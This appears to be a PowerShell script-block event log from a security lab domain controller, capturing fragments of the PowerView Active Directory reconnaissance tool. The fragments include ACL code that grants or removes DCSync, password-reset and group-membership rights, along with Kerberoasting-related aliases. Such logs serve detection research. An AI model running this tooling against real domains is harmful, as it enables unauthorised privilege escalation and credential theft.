$PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } $Principals = Get-DomainObject @PrincipalSearcherArguments if (-not $Principals) { throw "Unable to resolve principal: $PrincipalIdentity" } } PROCESS { $TargetSearcherArguments['Identity'] = $TargetIdentity $Targets = Get-DomainObject @TargetSearcherArguments ForEach ($TargetObject in $Targets) { $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' $ACEs = @() if ($RightsGUID) { $GUIDs = @($RightsGUID) } else { $GUIDs = Switch ($Rights) { # ResetPassword doesn't need to know the user's current password 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } # allows for the modification of group membership 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c # when applied to a domain's ACL, allows for the use of DCSync 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} } } ForEach ($PrincipalObject in $Principals) { Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)" try { $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) if ($GUIDs) { ForEach ($GUID in $GUIDs) { $NewGUID = New-Object Guid $GUID $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType } } else { # deault to GenericAll rights $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType } # remove all the specified ACEs from the specified object directory entry ForEach ($ACE in $ACEs) { Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" $TargetEntry = $TargetObject.GetDirectoryEntry() $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' $TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE) $TargetEntry.PsBase.CommitChanges() } } catch { Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_" } } } } } function Find-InterestingDomainAcl { <# .SYNOPSIS Finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects. Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName .DESCRIPTION This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, and for each returned ACE entry it checks if principal security identifier is *-1000 (meaning the account is not built in), and also checks if the rights for the ACE mean the object can be modified by the principal. If these conditions are met, then the security identifier SID is translated, the domain object is retrieved, and additional IdentityReference* information is appended to the output object. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER ResolveGUIDs Switch. Resolve GUIDs to their display names. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Find-InterestingDomainAcl Finds interesting object ACLS in the current domain. .EXAMPLE Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs Finds interesting object ACLS in the ev.testlab.local domain and resolves rights GUIDs to display names. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs .OUTPUTS PowerView.ACL Custom PSObject with ACL entries. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ACL')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DomainName', 'Name')] [String] $Domain, [Switch] $ResolveGUIDs, [String] [ValidateSet('All', 'ResetPassword', 'WriteMembers')] $RightsFilter, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $ACLArguments = @{} if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs } if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter } if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } $ObjectSearcherArguments = @{ 'Properties' = 'samaccountname,objectclass' 'Raw' = $True } if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential } $ADNameArguments = @{} if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } # ongoing list of built-up SIDs $ResolvedSIDs = @{} } PROCESS { if ($PSBoundParameters['Domain']) { $ACLArguments['Domain'] = $Domain $ADNameArguments['Domain'] = $Domain } Get-DomainObjectAcl @ACLArguments | ForEach-Object { if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { # only process SIDs > 1000 if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] $InterestingACL = New-Object PSObject $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights if ($_.ObjectAceType) { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType } else { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' } $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL } else { d123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1 4104132150x0807371Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11{ if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { # only process SIDs > 1000 if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] $InterestingACL = New-Object PSObject $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights if ($_.ObjectAceType) { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType } else { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' } $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL } else { $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments # "IdentityReferenceDN: $IdentityReferenceDN" if ($IdentityReferenceDN) { $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' # "IdentityReferenceDomain: $IdentityReferenceDomain" $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN # "IdentityReferenceDN: $IdentityReferenceDN" $Object = Get-DomainObject @ObjectSearcherArguments if ($Object) { $IdentityReferenceName = $Object.Properties.samaccountname[0] if ($Object.Properties.objectclass -match 'computer') { $IdentityReferenceClass = 'computer' } elseif ($Object.Properties.objectclass -match 'group') { $IdentityReferenceClass = 'group' } elseif ($Object.Properties.objectclass -match 'user') { $IdentityReferenceClass = 'user' } else { $IdentityReferenceClass = $Null } # save so we don't look up more than once $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass $InterestingACL = New-Object PSObject $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights if ($_.ObjectAceType) { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType } else { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' } $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL } } else { Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" } } } } }970914ce-fa09-4faf-858c-9973111b11cbC:\tools\PowerSploit\Recon\PowerView.ps1 4104152150x0807360Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11Find-InterestingDomainAcl05e583d6-2ed5-4bab-be45-ebba1c298abb 4104132150x0715350Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local5555api32 RevertToSelf ([Bool]) @() -SetLastError), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Wtsapi32 = $Types['wtsapi32'] $Mpr = $Types['Mpr'] $Kernel32 = $Types['kernel32'] Set-Alias Get-IPAddress Resolve-IPAddress Set-Alias Convert-NameToSid ConvertTo-SID Set-Alias Convert-SidToName ConvertFrom-SID Set-Alias Request-SPNTicket Get-DomainSPNTicket Set-Alias Get-DNSZone Get-DomainDNSZone Set-Alias Get-DNSRecord Get-DomainDNSRecord Set-Alias Get-NetDomain Get-Domain Set-Alias Get-NetDomainController Get-DomainController Set-Alias Get-NetForest Get-Forest Set-Alias Get-NetForestDomain Get-ForestDomain Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog Set-Alias Get-NetUser Get-DomainUser Set-Alias Get-UserEvent Get-DomainUserEvent Set-Alias Get-NetComputer Get-DomainComputer Set-Alias Get-ADObject Get-DomainObject Set-Alias Set-ADObject Set-DomainObject Set-Alias Get-ObjectAcl Get-DomainObjectAcl Set-Alias Add-ObjectAcl Add-DomainObjectAcl Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl Set-Alias Get-GUIDMap Get-DomainGUIDMap Set-Alias Get-NetOU Get-DomainOU Set-Alias Get-NetSite Get-DomainSite Set-Alias Get-NetSubnet Get-DomainSubnet Set-Alias Get-NetGroup Get-DomainGroup Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup Set-Alias Get-NetGroupMember Get-DomainGroupMember Set-Alias Get-NetFileServer Get-DomainFileServer Set-Alias Get-DFSshare Get-DomainDFSShare Set-Alias Get-NetGPO Get-DomainGPO Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping Set-Alias Get-LoggedOnLocal Get-RegLoggedOn Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess Set-Alias Get-SiteName Get-NetComputerSiteName Set-Alias Get-Proxy Get-WMIRegProxy Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive Set-Alias Get-NetProcess Get-WMIProcess Set-Alias Invoke-ThreadedFunction New-ThreadedFunction Set-Alias Invoke-UserHunter Find-DomainUserLocation Set-Alias Invoke-ProcessHunter Find-DomainProcess Set-Alias Invoke-EventHunter Find-DomainUserEvent Set-Alias Invoke-ShareFinder Find-DomainShare Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember Set-Alias Get-NetDomainTrust Get-DomainTrust Set-Alias Get-NetForestTrust Get-ForestTrust Set-Alias Find-ForeignUser Get-DomainForeignUser Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping Set-Alias Get-DomainPolicy Get-DomainPolicyData 38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1 4104132150x0715319Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2455yIdentifier $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL } } else { Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" } } } } } } } function Get-DomainOU { <# .SYNOPSIS Search for all organization units (OUs) or specific OU objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all OU objects for the current domain are returned. .PARAMETER Identity An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. .PARAMETER GPLink Only return OUs with the specified GUID in their gplink property. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER FindOne Only return one result object. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainOU Returns the current OUs in the domain. .EXAMPLE Get-DomainOU *admin* -Domain testlab.local Returns all OUs with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all OUs with linked to the specified group policy object. .EXAMPLE "*admin*","*server*" | Get-DomainOU Search for OUs with the specific names. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainOU -Credential $Cred .OUTPUTS PowerView.OU Custom PSObject with translated OU property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.OU')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] [Alias('GUID')] $GPLink, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $OUSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($OUSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^OU=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $OUSearcher = Get-DomainSearcher @SearcherArguments if (-not $OUSearcher) { Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'" } } } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(name=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['GPLink']) { Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" $Filter += "(gplink=*$GPLink*)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } else { $Results = $OUSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $OU = $_ } else { $OU = Convert-LDAPProperty -Properties $_.Properties } $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') $OU } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" } } $OUSearcher.dispose() } } } function Get-DomainSite { <# .SYNOPSIS Search for all sites or specific site objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all site objects for the current domain are returned. .PARAMETER Identity An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. .PARAMETER GPLink Only return sites with the specified GUID in their gplink property. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainSite Returns the current sites in the domain. .EXAMPLE Get-DomainSite *admin* -Domain testlab.local Returns all sites with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all sites with linked to the specified group policy object. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainSite -Credential $Cred .OUTPUTS PowerView.Site Custom PSObject with translated site property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.Site')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] [Alias('GUID')] $GPLink, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, 38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1 4104132150x0715318Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2355 # ResetPassword doesn't need to know the user's current password 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } # allows for the modification of group membership 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c # when applied to a domain's ACL, allows for the use of DCSync 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} } } 